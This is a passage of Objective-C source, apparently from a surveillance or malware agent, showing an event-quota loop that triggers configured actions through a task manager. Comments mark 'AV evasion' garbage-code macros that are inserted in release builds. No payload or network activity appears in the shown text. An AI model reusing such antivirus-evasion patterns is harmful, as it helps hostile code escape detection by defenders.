isEventEnable: configuration] == TRUE) [[__m_MTaskManager sharedInstance] triggerAction: exitAction]; } if (mEventQuotaRunning == TRUE) { // AV evasion: only on release build AV_GARBAGE_006 if (((iter == 0xFFFFFFFF) || (currentIter < iter)) && [self waitDelaySeconds:configuration] == FALSE && [self isEventEnable: configuration] == TRUE) { [[__m_MTaskManager sharedInstance] triggerAction: repeat]; currentIter++; } } usleep(300000); } // AV evasion: only on release build AV_GARBAGE_004 if ([[configuration objectForKey: @"status"] isEqualToString: EVENT_STOP]) { [configuration setValue: EVENT_STOPPED forKey: @"status"]; mEventQuotaRunning = NO; } [configuration release]; [outerPool release]; return; } @end .